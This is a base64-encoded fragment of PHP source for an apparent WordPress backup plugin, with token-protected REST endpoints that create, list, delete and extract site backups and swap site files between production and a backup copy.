BlbHNlIHsKICAgICAgICAgICAgaWYgKCFzZWxmOjpjb3B5RGlyUmVjdXJzaXZlKCRyZWFsLCAkZGVzdCkpIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnY29weSBmYWlsZWQg4oCUIGNoZWNrIHBlcm1pc3Npb25zJ10sIDUwMCk7CiAgICAgICAgfQogICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ29rJyA9PiB0cnVlLCAnZGVzdCcgPT4gJGRlc3QsICduYW1lJyA9PiBiYXNlbmFtZSgkZGVzdCldKTsKICAgIH0KCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBjb3B5RGlyUmVjdXJzaXZlKHN0cmluZyAkc3JjLCBzdHJpbmcgJGRzdCk6IGJvb2wgewogICAgICAgIGlmICghQG1rZGlyKCRkc3QsIDA3NTUsIHRydWUpKSByZXR1cm4gZmFsc2U7CiAgICAgICAgJGl0ZW1zID0gQHNjYW5kaXIoJHNyYyk7CiAgICAgICAgaWYgKCEkaXRlbXMpIHJldHVybiBmYWxzZTsKICAgICAgICBmb3JlYWNoICgkaXRlbXMgYXMgJGl0ZW0pIHsKICAgICAgICAgICAgaWYgKCRpdGVtID09PSAnLicgfHwgJGl0ZW0gPT09ICcuLicpIGNvbnRpbnVlOwogICAgICAgICAgICAkcyA9ICRzcmMgLiAnLycgLiAkaXRlbTsKICAgICAgICAgICAgJGQgPSAkZHN0IC4gJy8nIC4gJGl0ZW07CiAgICAgICAgICAgIGlmICghKCBpc19kaXIoJHMpID8gc2VsZjo6Y29weURpclJlY3Vyc2l2ZSgkcywgJGQpIDogQGNvcHkoJHMsICRkKSApKSByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8vIOKUgOKUgCBTd2l0Y2ggaGVscGVycyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIC8vIEJhY2t1cCBsaXZlcyBJTlNJREUgdGhlIHNpdGUgcm9vdDogQUJTUEFUSC9iYWNrdXAvCiAgICAvLyB3cC1jb25maWcucGhwLCB3cC1hZG1pbi8sIHdwLWluY2x1ZGVzLyBhcmUgTkVWRVIgc3dhcHBlZC4KICAgIC8vIE9ubHkgd3AtY29udGVudC8gYW5kIHJvb3QgUEhQIGZpbGVzIGFyZSBzd2FwcGVkLgogICAgLy8gQWxsIHJlbmFtZXMgaGFwcGVuIHdpdGhpbiBBQlNQQVRIIOKAlCBubyBwYXJlbnQgZGlyZWN0b3J5IGFjY2VzcyBuZWVkZWQuCgogICAgLy8gUm9vdCBmaWxlcyB0byBzd2FwIChyZWxhdGl2ZSB0byBBQlNQQVRIIGFuZCB0byBBQlNQQVRIL2JhY2t1cC8pCiAgICBwcml2YXRlIHN0YXRpYyAkc3dhcEZpbGVzID0gWwogICAgICAgICd3cC1jb250ZW50JywgICAgICAgIC8vIGRpcmVjdG9yeSDigJQgb25lIHJlbmFtZSBjb3ZlcnMgZXZlcnl0aGluZyBpbnNpZGUKICAgICAgICAnaW5kZXgucGhwJywKICAgICAgICAnd3AtYmxvZy1oZWFkZXIucGhwJywKICAgICAgICAnd3Atc2V0dGluZ3MucGhwJywKICAgICAgICAnd3AtbG9naW4ucGhwJywKICAgICAgICAnd3AtY3Jvbi5waHAnLAogICAgICAgICd3cC1hY3RpdmF0ZS5waHAnLAogICAgICAgICd3cC1jb21tZW50cy1wb3N0LnBocCcsCiAgICAgICAgJ3dwLXNpZ251cC5waHAnLAogICAgICAgICd3cC10cmFja2JhY2sucGhwJywKICAgICAgICAnd3AtbGlua3Mtb3BtbC5waHAnLAogICAgICAgICd3cC1tYWlsLnBocCcsCiAgICAgICAgJ3htbHJwYy5waHAnLAogICAgICAgICcuaHRhY2Nlc3MnLAogICAgICAgICd3cC1sb2FkLnBocCcsCiAgICBdOwoKICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIHN3aXRjaEluZm8oKTogYXJyYXkgewogICAgICAgICRhYnMgICAgICAgPSBydHJpbShyZWFscGF0aChBQlNQQVRIKSwgJy8nKTsKICAgICAgICAkYmFja3VwRGlyID0gJGFicyAuICcvYmFja3VwJzsKICAgICAgICAkc3RhdGVGaWxlID0gJGFicyAuICcvLnN3LXN3aXRjaCc7CiAgICAgICAgJGlzT25CayAgICA9IGZpbGVfZXhpc3RzKCRzdGF0ZUZpbGUpOwoKICAgICAgICAvLyBDb3VudCBob3cgbWFueSBzd2FwIHRhcmdldHMgZXhpc3QgaW4gYmFja3VwLwogICAgICAgICRyZWFkeSA9IGlzX2RpcigkYmFja3VwRGlyKTsKCiAgICAgICAgcmV0dXJuIFsKICAgICAgICAgICAgJ2FjdGl2ZScgICAgICAgPT4gJGlzT25CayA/ICdiYWNrdXAnIDogJ3Byb2R1Y3Rpb24nLAogICAgICAgICAgICAnYWJzcGF0aCcgICAgICA9PiAkYWJzLAogICAgICAgICAgICAnYmFja3VwX2RpcicgICA9PiAkYmFja3VwRGlyLAogICAgICAgICAgICAnYmFja3VwX3JlYWR5JyA9PiAkcmVhZHksCiAgICAgICAgICAgICdzdGF0ZV9maWxlJyAgID0+ICRzdGF0ZUZpbGUsCiAgICAgICAgXTsKICAgIH0KCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBkb1N3YXAoc3RyaW5nICRhYnMsIHN0cmluZyAkZnJvbSwgc3RyaW5nICR0bywgc3RyaW5nICRzdWZmaXgpOiBhcnJheSB7CiAgICAgICAgJGVycm9ycyA9IFtdOwogICAgICAgIGZvcmVhY2ggKHNlbGY6OiRzd2FwRmlsZXMgYXMgJG5hbWUpIHsKICAgICAgICAgICAgJHNyYyAgPSAkZnJvbSAuICcvJyAuICRuYW1lOwogICAgICAgICAgICAkZGVzdCA9ICR0byAgIC4gJy8nIC4gJG5hbWU7CiAgICAgICAgICAgICRiYWsgID0gJGFicyAgLiAnLycgLiAkbmFtZSAuICRzdWZmaXg7IC8vIHRlbXAgbmFtZSBkdXJpbmcgc3dhcAoKICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkc3JjKSAmJiAhaXNfZGlyKCRzcmMpKSBjb250aW51ZTsKCiAgICAgICAgICAgIC8vIFNhdmUgY3VycmVudCDihpIgdGVtcCwgdGhlbiBicmluZyBuZXcg4oaSIGN1cnJlbnQKICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRhYnMgLiAnLycgLiAkbmFtZSkgfHwgaXNfZGlyKCRhYnMgLiAnLycgLiAkbmFtZSkpIHsKICAgICAgICAgICAgICAgIGlmICghcmVuYW1lKCRhYnMgLiAnLycgLiAkbmFtZSwgJGJhaykpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3JzW10gPSAnY2Fubm90IHNhdmUgJyAuICRuYW1lOyBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIXJlbmFtZSgkc3JjLCAkYWJzIC4gJy8nIC4gJG5hbWUpKSB7CiAgICAgICAgICAgICAgICAvLyBSb2xsYmFjayB0aGUgc2F2ZQogICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRiYWspIHx8IGlzX2RpcigkYmFrKSkgcmVuYW1lKCRiYWssICRhYnMgLiAnLycgLiAkbmFtZSk7CiAgICAgICAgICAgICAgICAkZXJyb3JzW10gPSAnY2Fubm90IHJlc3RvcmUgJyAuICRuYW1lOyBjb250aW51ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICAvLyBNb3ZlIHRoZSBzYXZlZCB2ZXJzaW9uIHRvIHRoZSBvdGhlciBzaWRlCiAgICAgICAgICAgIGlmICgoZmlsZV9leGlzdHMoJGJhaykgfHwgaXNfZGlyKCRiYWspKSAmJiAhcmVuYW1lKCRiYWssICRkZXN0KSkgewogICAgICAgICAgICAgICAgJGVycm9yc1tdID0gJ2Nhbm5vdCBtb3ZlIG9sZCAnIC4gJG5hbWUgLiAnIHRvIGJhY2t1cCc7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuICRlcnJvcnM7CiAgICB9CgogICAgLy8g4pSA4pSAIFN3aXRjaDogZ2V0IHN0YXRlIC8gcGVyZm9ybSBzd2l0Y2gg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlc3RTd2l0Y2goV1BfUkVTVF9SZXF1ZXN0ICRyZXF1ZXN0KTogV1BfUkVTVF9SZXNwb25zZSB7CiAgICAgICAgJHRva2VuID0gJHJlcXVlc3QtPmdldF9oZWFkZXIoJ3hfc3dfdHJpZ2dlcl90b2tlbicpOwogICAgICAgIGlmICghJHRva2VuIHx8ICFoYXNoX2VxdWFscyhTV19QQU5FTF9UT0tFTiwgJHRva2VuKSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ZvcmJpZGRlbiddLCA0MDMpOwogICAgICAgIH0KICAgICAgICAkaW5mbyA9IHNlbGY6OnN3aXRjaEluZm8oKTsKCiAgICAgICAgaWYgKCRyZXF1ZXN0LT5nZXRfbWV0aG9kKCkgPT09ICdHRVQnKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZSgkaW5mbyk7CiAgICAgICAgfQoKICAgICAgICAkYm9keSAgID0ganNvbl9kZWNvZGUoJHJlcXVlc3QtPmdldF9ib2R5KCksIHRydWUpID86IFtdOwogICAgICAgICRhY3Rpb24gPSAkYm9keVsnYWN0aW9uJ10gPz8gJyc7CiAgICAgICAgJGFicyAgICA9ICRpbmZvWydhYnNwYXRoJ107CiAgICAgICAgJGJrRGlyICA9ICRpbmZvWydiYWNrdXBfZGlyJ107CgogICAgICAgIGlmICgkYWN0aW9uID09PSAndG9fYmFja3VwJykgewogICAgICAgICAgICBpZiAoJGluZm9bJ2FjdGl2ZSddID09PSAnYmFja3VwJykgewogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdBbHJlYWR5IG9uIGJhY2t1cCddLCA0MDApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghJGluZm9bJ2JhY2t1cF9yZWFkeSddKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ05vIHByZXBhcmVkIGJhY2t1cCBhdCAnIC4gJGJrRGlyIC4gJy4gVXNlICJQcmVwYXJlIFN3aXRjaCIgZmlyc3QuJ10sIDQwNCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy8gU3dhcDogdGFrZSBmaWxlcyBmcm9tIGJhY2t1cC8sIHNhdmUgY3VycmVudCB0byBiYWNrdXAvCiAgICAgICAgICAgICRlcnJvcnMgPSBzZWxmOjpkb1N3YXAoJGFicywgJGJrRGlyLCAkYmtEaXIsICcuc3ctbWFpbicpOwogICAgICAgICAgICBpZiAoJGVycm9ycykgewogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdTd2FwIHBhcnRpYWxseSBmYWlsZWQ6ICcgLiBpbXBsb2RlKCc7ICcsICRlcnJvcnMpXSwgNTAwKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJGluZm9bJ3N0YXRlX2ZpbGUnXSwgZGF0ZSgnYycpKTsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnb2snID0+IHRydWUsICdhY3RpdmUnID0+ICdiYWNrdXAnXSk7CiAgICAgICAgfQoKICAgICAgICBpZiAoJGFjdGlvbiA9PT0gJ3RvX3Byb2R1Y3Rpb24nKSB7CiAgICAgICAgICAgIGlmICgkaW5mb1snYWN0aXZlJ10gIT09ICdiYWNrdXAnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ0FscmVhZHkgb24gcHJvZHVjdGlvbiddLCA0MDApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIC8vIFN3YXAgYmFjazogdGFrZSBmaWxlcyBmcm9tIGJhY2t1cC8gKHdoZXJlIHByb2R1Y3Rpb24gd2FzIHNhdmVkKSwgcmVzdG9yZQogICAgICAgICAgICAkZXJyb3JzID0gc2VsZjo6ZG9Td2FwKCRhYnMsICRia0RpciwgJGJrRGlyLCAnLnN3LWJrJyk7CiAgICAgICAgICAgIGlmICgkZXJyb3JzKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ1N3YXAgYmFjayBwYXJ0aWFsbHkgZmFpbGVkOiAnIC4gaW1wbG9kZSgnOyAnLCAkZXJyb3JzKV0sIDUwMCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQHVubGluaygkaW5mb1snc3RhdGVfZmlsZSddKTsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnb2snID0+IHRydWUsICdhY3RpdmUnID0+ICdwcm9kdWN0aW9uJ10pOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICd1bmtub3duIGFjdGlvbiddLCA0MDApOwogICAgfQoKICAgIC8vIOKUgOKUgCBCYWNrdXA6IHByZXBhcmUgc3dpdGNoIGRpcmVjdG9yeSDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVzdEJhY2t1cFByZXBhcmVTd2l0Y2goV1BfUkVTVF9SZXF1ZXN0ICRyZXF1ZXN0KTogV1BfUkVTVF9SZXNwb25zZSB7CiAgICAgICAgJHRva2VuID0gJHJlcXVlc3QtPmdldF9oZWFkZXIoJ3hfc3dfdHJpZ2dlcl90b2tlbicpOwogICAgICAgIGlmICghJHRva2VuIHx8ICFoYXNoX2VxdWFscyhTV19QQU5FTF9UT0tFTiwgJHRva2VuKSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ZvcmJpZGRlbiddLCA0MDMpOwogICAgICAgIH0KICAgICAgICBAc2V0X3RpbWVfbGltaXQoMzAwKTsKICAgICAgICBAaW5pX3NldCgnbWVtb3J5X2xpbWl0JywgJzUxMk0nKTsKCiAgICAgICAgJGJvZHkgPSBqc29uX2RlY29kZSgkcmVxdWVzdC0+Z2V0X2JvZHkoKSwgdHJ1ZSkgPzogW107CiAgICAgICAgJG5hbWUgPSBiYXNlbmFtZSgkYm9keVsnbmFtZSddID8/ICcnKTsKICAgICAgICBpZiAoIXByZWdfbWF0Y2goJy9ec3ctYmFja3VwLVtcd1wtXStcLnppcCQvJywgJG5hbWUpKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnaW52YWxpZCBiYWNrdXAgbmFtZSddLCA0MDApOwogICAgICAgIH0KICAgICAgICAkYmtEaXIgICA9IHNlbGY6OmJhY2t1cERpcigpOwogICAgICAgICR6aXBQYXRoID0gJGJrRGlyIC4gJy8nIC4gJG5hbWU7CiAgICAgICAgaWYgKCEkYmtEaXIgfHwgIWZpbGVfZXhpc3RzKCR6aXBQYXRoKSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2JhY2t1cCBub3QgZm91bmQ6ICcgLiAkemlwUGF0aF0sIDQwNCk7CiAgICAgICAgfQogICAgICAgICRpbmZvICAgID0gc2VsZjo6c3dpdGNoSW5mbygpOwogICAgICAgIC8vIEJhY2t1cCBpcyBhbHdheXMgZXh0cmFjdGVkIHRvIEFCU1BBVEgvYmFja3VwLyAoaW5zaWRlIHRoZSBzaXRlIHJvb3QpCiAgICAgICAgJGRlc3REaXIgPSAkaW5mb1snYWJzcGF0aCddIC4gJy9iYWNrdXAnOwoKICAgICAgICBpZiAoJGluZm9bJ2FjdGl2ZSddID09PSAnYmFja3VwJykgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ1NpdGUgaXMgY3VycmVudGx5IG9uIGJhY2t1cCBtb2RlIOKAlCBzd2l0Y2ggdG8gcHJvZHVjdGlvbiBmaXJzdCddLCA0MDApOwogICAgICAgIH0KICAgICAgICB0cnkgewogICAgICAgICAgICBpZiAoaXNfZGlyKCRkZXN0RGlyKSkgewogICAgICAgICAgICAgICAgc2VsZjo6cm1kaXJSZWN1cnNpdmUoJGRlc3REaXIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghQG1rZGlyKCRkZXN0RGlyLCAwNzU1LCB0cnVlKSAmJiAhaXNfZGlyKCRkZXN0RGlyKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdjYW5ub3QgY3JlYXRlIGJhY2t1cC8gZGlyZWN0b3J5IOKAlCBjaGVjayBwZXJtaXNzaW9ucyddLCA1MDApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIC8vIFByb3RlY3QgdGhlIGJhY2t1cCBmb2xkZXIgZnJvbSBkaXJlY3Qgd2ViIGFjY2VzcwogICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJGRlc3REaXIgLiAnLy5odGFjY2VzcycsICJSZXF1aXJlIGFsbCBkZW5pZWRcbkRlbnkgZnJvbSBhbGxcbiIpOwoKICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CiAgICAgICAgICAgICRvcGVuZWQgPSAkemlwLT5vcGVuKCR6aXBQYXRoKTsKICAgICAgICAgICAgaWYgKCRvcGVuZWQgIT09IHRydWUpIHsKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnY2Fubm90IG9wZW4gWklQIChlcnJvciBjb2RlOiAnIC4gJG9wZW5lZCAuICcpJ10sIDUwMCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy8gZXh0cmFjdFRvKCkgc3RyZWFtcyBmaWxlcyDigJQgbm8gZnVsbC1maWxlIG1lbW9yeSBsb2FkaW5nCiAgICAgICAgICAgIGlmICghJHppcC0+ZXh0cmFjdFRvKCRkZXN0RGlyKSkgewogICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnWklQIGV4dHJhY3Rpb24gZmFpbGVkIOKAlCBjaGVjayBkaXNrIHNwYWNlIGFuZCBwZXJtaXNzaW9ucyddLCA1MDApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRleHRyYWN0ZWQgPSAkemlwLT5udW1GaWxlczsKICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKCiAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkZSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2V4Y2VwdGlvbjogJyAuICRlLT5nZXRNZXNzYWdlKCldLCA1MDApOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnb2snID0+IHRydWUsICdkaXInID0+ICRkZXN0RGlyLCAnZXh0cmFjdGVkJyA9PiAkZXh0cmFjdGVkXSk7CiAgICB9CgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcm1kaXJSZWN1cnNpdmUoc3RyaW5nICRkaXIpOiB2b2lkIHsKICAgICAgICBpZiAoIWlzX2RpcigkZGlyKSkgcmV0dXJuOwogICAgICAgICRpdGVyID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoCiAgICAgICAgICAgIG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZGlyLCBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcjo6U0tJUF9ET1RTKSwKICAgICAgICAgICAgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6Q0hJTERfRklSU1QKICAgICAgICApOwogICAgICAgIGZvcmVhY2ggKCRpdGVyIGFzICRpdGVtKSB7CiAgICAgICAgICAgICRpdGVtLT5pc0RpcigpID8gQHJtZGlyKCRpdGVtLT5nZXRSZWFsUGF0aCgpKSA6IEB1bmxpbmsoJGl0ZW0tPmdldFJlYWxQYXRoKCkpOwogICAgICAgIH0KICAgICAgICBAcm1kaXIoJGRpcik7CiAgICB9CgogICAgLy8g4pSA4pSAIEJhY2t1cCBoZWxwZXJzIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAoKICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGJhY2t1cERpcigpOiBzdHJpbmcgewogICAgICAgIC8vIFByaW1hcnk6IG9uZSBsZXZlbCB1cCBmcm9tIEFCU1BBVEggKG91dHNpZGUgd2ViIHJvb3QpCiAgICAgICAgJHBhcmVudCAgPSBkaXJuYW1lKHJ0cmltKHJlYWxwYXRoKEFCU1BBVEgpLCAnL1xcJykpOwogICAgICAgICRvdXRzaWRlID0gJHBhcmVudCAuICcvc3ctYmFja3Vwcyc7CiAgICAgICAgaWYgKChpc19kaXIoJG91dHNpZGUpIHx8IEBta2Rpcigkb3V0c2lkZSwgMDc1MCwgdHJ1ZSkpICYmIGlzX3dyaXRhYmxlKCRvdXRzaWRlKSkgewogICAgICAgICAgICByZXR1cm4gJG91dHNpZGU7CiAgICAgICAgfQogICAgICAgIC8vIEZhbGxiYWNrOiBpbnNpZGUgc2l0ZSByb290IGluIHN3LWJhY2t1cHMvIChzZXBhcmF0ZSBmcm9tIGJhY2t1cC8gd2hpY2ggaG9sZHMgZXh0cmFjdGVkIGZpbGVzKQogICAgICAgICRpbnNpZGUgPSBydHJpbShyZWFscGF0aChBQlNQQVRIKSwgJy9cXCcpIC4gJy9zdy1iYWNrdXBzJzsKICAgICAgICBpZiAoKGlzX2RpcigkaW5zaWRlKSB8fCBAbWtkaXIoJGluc2lkZSwgMDc1MCwgdHJ1ZSkpICYmIGlzX3dyaXRhYmxlKCRpbnNpZGUpKSB7CiAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkaW5zaWRlIC4gJy8uaHRhY2Nlc3MnLCAiUmVxdWlyZSBhbGwgZGVuaWVkXG5EZW55IGZyb20gYWxsXG4iKTsKICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRpbnNpZGUgLiAnL2luZGV4LnBocCcsICc8P3BocCAvLyBzaWxlbmNlJyk7CiAgICAgICAgICAgIHJldHVybiAkaW5zaWRlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJyc7CiAgICB9CgogICAgLy8g4pSA4pSAIEJhY2t1cDogbGlzdCAvIGNyZWF0ZSAvIGRlbGV0ZSDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVzdEJhY2t1cChXUF9SRVNUX1JlcXVlc3QgJHJlcXVlc3QpOiBXUF9SRVNUX1Jlc3BvbnNlIHsKICAgICAgICAkdG9rZW4gPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcigneF9zd190cmlnZ2VyX3Rva2VuJyk7CiAgICAgICAgaWYgKCEkdG9rZW4gfHwgIWhhc2hfZXF1YWxzKFNXX1BBTkVMX1RPS0VOLCAkdG9rZW4pKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnZm9yYmlkZGVuJ10sIDQwMyk7CiAgICAgICAgfQoKICAgICAgICAkbWV0aG9kID0gJHJlcXVlc3QtPmdldF9tZXRob2QoKTsKICAgICAgICAkZGlyICAgID0gc2VsZjo6YmFja3VwRGlyKCk7CiAgICAgICAgaWYgKCEkZGlyKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnYmFja3VwIGRpcmVjdG9yeSBub3Qgd3JpdGFibGUg4oCUIGNoZWNrIGZvbGRlciBwZXJtaXNzaW9ucyddLCA1MDApOwogICAgICAgIH0KCiAgICAgICAgLy8gR0VUIOKAlCBsaXN0IGJhY2t1cHMKICAgICAgICBpZiAoJG1ldGhvZCA9PT0gJ0dFVCcpIHsKICAgICAgICAgICAgJGZpbGVzID0gZ2xvYigkZGlyIC4gJy9zdy1iYWNrdXAtKi56aXAnKSA/OiBbXTsKICAgICAgICAgICAgJGxpc3QgID0gW107CiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikgewogICAgICAgICAgICAgICAgJGxpc3RbXSA9IFsKICAgICAgICAgICAgICAgICAgICAnbmFtZScgICAgPT4gYmFzZW5hbWUoJGYpLAogICAgICAgICAgICAgICAgICAgICdzaXplJyAgICA9PiAoaW50KWZpbGVzaXplKCRmKSwKICAgICAgICAgICAgICAgICAgICAnY3JlYXRlZCcgPT4gKGludClmaWxlbXRpbWUoJGYpLAogICAgICAgICAgICAgICAgXTsKICAgICAgICAgICAgfQogICAgICAgICAgICB1c29ydCgkbGlzdCwgZnVuY3Rpb24oJGEsICRiKXsgcmV0dXJuICRiWydjcmVhdGVkJ10gLSAkYVsnY3JlYXRlZCddOyB9KTsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsKICAgICAgICAgICAgICAgICdiYWNrdXBzJyAgICA9PiAkbGlzdCwKICAgICAgICAgICAgICAgICdkaXInICAgICAgICA9PiAkZGlyLAogICAgICAgICAgICAgICAgJ2Rpc2tfZnJlZScgID0+IChpbnQpQGRpc2tfZnJlZV9zcGFjZSgkZGlyKSwKICAgICAgICAgICAgICAgICdkaXNrX3RvdGFsJyA9PiAoaW50KUBkaXNrX3RvdGFsX3NwYWNlKCRkaXIpLAogICAgICAgICAgICBdKTsKICAgICAgICB9CgogICAgICAgIC8vIERFTEVURSDigJQgcmVtb3ZlIGEgYmFja3VwCiAgICAgICAgaWYgKCRtZXRob2QgPT09ICdERUxFVEUnKSB7CiAgICAgICAgICAgICRib2R5ID0ganNvbl9kZWNvZGUoJHJlcXVlc3QtPmdldF9ib2R5KCksIHRydWUpID86IFtdOwogICAgICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRib2R5WyduYW1lJ10gPz8gJycpOwogICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJy9ec3ctYmFja3VwLVtcd1wtXStcLnppcCQvJywgJG5hbWUpKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ludmFsaWQgYmFja3VwIG5hbWUnXSwgNDAwKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkcGF0aCA9ICRkaXIgLiAnLycgLiAkbmFtZTsKICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnYmFja3VwIG5vdCBmb3VuZCddLCA0MDQpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBAdW5saW5rKCRwYXRoKQogICAgICAgICAgICAgICAgPyBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ29rJyA9PiB0cnVlXSkKICAgICAgICAgICAgICAgIDogbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2RlbGV0ZSBmYWlsZWQnXSwgNTAwKTsKICAgICAgICB9CgogICAgICAgIC8vIFBPU1Qg4oCUIGNyZWF0ZSBiYWNrdXAKICAgICAgICBAc2V0X3RpbWVfbGltaXQoMTgwKTsKICAgICAgICBAaW5pX3NldCgnbWVtb3J5X2xpbWl0JywgJzI1Nk0nKTsKCiAgICAgICAgJGJvZHkgPSBqc29